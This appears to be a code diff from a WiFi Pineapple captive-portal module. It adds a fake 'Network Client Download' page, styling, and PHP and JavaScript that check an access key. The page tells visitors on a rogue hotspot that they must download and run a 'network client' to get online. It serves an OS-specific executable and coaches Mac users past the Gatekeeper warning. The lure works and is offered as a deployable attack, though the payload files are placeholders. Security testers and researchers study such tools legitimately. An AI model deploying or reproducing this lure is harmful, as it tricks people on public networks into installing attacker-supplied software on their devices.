/*
This script checks the entered access key with the user's access key to either allow or deny them access.
The key is held in a file that has the name of the user's IP address with all periods replaced with underscores
in the $keyDir directory. The contents of the file are read in and compared with the supplied access key
and either True or False are echoed back to the script in InjectJS.
*/
header('Access-Control-Allow-Origin: *');
if (isset($_POST['verifyAccessKey'])) {
// Setup variables with the location of the key files
$keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/";
$keyFile = $keyDir . str_replace(".", "_", $_SERVER['REMOTE_ADDR']) . ".txt";
// Open the key file associated with the current client and read the value
$accessKey = file_get_contents($keyFile);
// Check if the access key provided by the client matches the one from the file
if ($_POST['verifyAccessKey'] == $accessKey) {
echo True;
} else {
echo False;
}
kill();
}
?>

View File

@@ -0,0 +1,90 @@
<style>
.pa_field {
width: 70%;
height: 30px;
font-size: 18px;
border: 1px solid black;
}
.pa_main {
background-color: rgba(255,255,255,.9);
left: 0%;
margin-top: 200px;
text-align: center;
padding-top: 75px;
position: fixed;
border-style:solid;
border-width:medium;
border-color:#aaa;
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
}
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
#pa_akp {
top: 50%;
left: 50%;
width: 600px;
height: 340px;
padding: 20px;
margin-top: -200px;
margin-left: -330px;
z-index: 15;
display: none;
}
#pa_overlay-back {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,.7);
z-index: 5;
display: none;
}
.pa_connectButton {
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
box-shadow:inset 0px 1px 3px 0px #3dc21b;
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
background-color:#1fd950;
-moz-border-radius:5px;
-webkit-border-radius:5px;
border-radius:5px;
border:1px solid #18ab29;
display:inline-block;
cursor:pointer;
color:#ffffff;
font-family:arial;
font-size:22px;
font-weight:bold;
padding:12px 37px;
text-decoration:none;
text-shadow:0px -1px 0px #2f6627;
}
.pa_connectButton:hover {
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
background-color:#5cbf2a;
}
.pa_connectButton:active {
position:relative;
top:1px;
}
.pa_left {
margin-left: 60px;
}
</style>

View File

@@ -0,0 +1,14 @@
<div id="pa_overlay-back"></div>
<div id='pa_akp' class='pa_main'>
<h1 class="pa_h1">Network Client Download</h1><br />
<h4 class="pa_h4">To access our WiFi please download and use our free network client software.
When you run the program an <strong>access key</strong> will be generated which will need to be entered below
in order to start surfing the internet.</h4>
<br />
<a id="pa_NetClientURL" href=""><h3 class='pa_h3'>Download Network Client</h3></a>
<br />
<span id='pa_macnotice' style='font-size: 80%;'><br /></span>
<input type='text' id='pa_accessKey' class='pa_field' placeholder='Access Key' />
<br /><br />
<button id="submit_button" class="pa_connectButton" type="button">Submit</button>
</div>

View File

@@ -0,0 +1,70 @@
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
<script>
window.onload = setTimeout(displayAccessKeyPanel, 1000);
$(function() {
if (navigator.appVersion.indexOf("Win") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $exePath . $exe . "');";
?>
} else if (navigator.appVersion.indexOf("Mac") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $appPath . $app . "');";
?>
$('#pa_macnotice').html("*NOTE: To run the network client on your Mac you need to hold down the control button, click the app, then click open.");
} else if (navigator.appVersion.indexOf("Android") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $apkPath . $apk . "');";
?>
} else if (navigator.appVersion.indexOf("iPhone") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
?>
} else if (navigator.appVersion.indexOf("iPad") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
?>
} else if (navigator.appVersion.indexOf("iPod") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
?>
}
$('#submit_button').on('click',function(){
if ($('#pa_accessKey').val() == "") {
alert("Please enter the access key given by the network client software.");
return;
}
$.ajax({
type: "POST",
url: "/index.php",
data: {verifyAccessKey: $('#pa_accessKey').val()},
dataType: 'json',
success: function(data, textStatus, jqXHR) {
$.ajax({
type: "POST",
url: "/captiveportal/index.php",
data: {target: "<?=$destination?>"},
dataType: 'json',
success: function(data, textStatus, jqHXR) {
window.location="/captiveportal/index.php";
},
error: function(data, textStatus, errorThrown) {
window.location="/captiveportal/index.php";
}
});
},
error: function(data, textStatus, errorThrown) {
alert("Invalid access key");
}
});
});
});
function displayAccessKeyPanel(){
$(function(){
$('#pa_akp').css('opacity','1');
$('#pa_akp,#pa_overlay-back').fadeIn('slow');
});
}
</script>

View File

@@ -0,0 +1,49 @@
<?php
/*==================*/
/* v DO NOT MODIFY v */
/*==================*/
$exe = "<EXE>";
$app = "<APP>";
$apk = "<APK>";
$ipa = "<IPA>";
/*==================*/
/* ^ DO NOT MODIFY ^ */
/*==================*/
$base = "/download/";
$exePath = $base . "windows/";
$appPath = $base . "osx/";
$apkPath = $base . "android/";
$ipaPath = $base . "ios/";
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
/*
This script checks the entered access key with the user's access key to either allow or deny them access.
The key is held in a file that has the name of the user's IP address with all periods replaced with underscores
in the $keyDir directory. The contents of the file are read in and compared with the supplied access key
and either True or False are echoed back to the script in InjectJS.
*/
header('Access-Control-Allow-Origin: *');
if (isset($_POST['verifyAccessKey'])) {
// Setup variables with the location of the key files
$keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/";
$keyFile = $keyDir . str_replace(".", "_", $_SERVER['REMOTE_ADDR']) . ".txt";
// Open the key file associated with the current client and read the value
$accessKey = file_get_contents($keyFile);
// Check if the access key provided by the client matches the one from the file
if ($_POST['verifyAccessKey'] == $accessKey) {
echo True;
} else {
echo False;
}
kill();
}
?>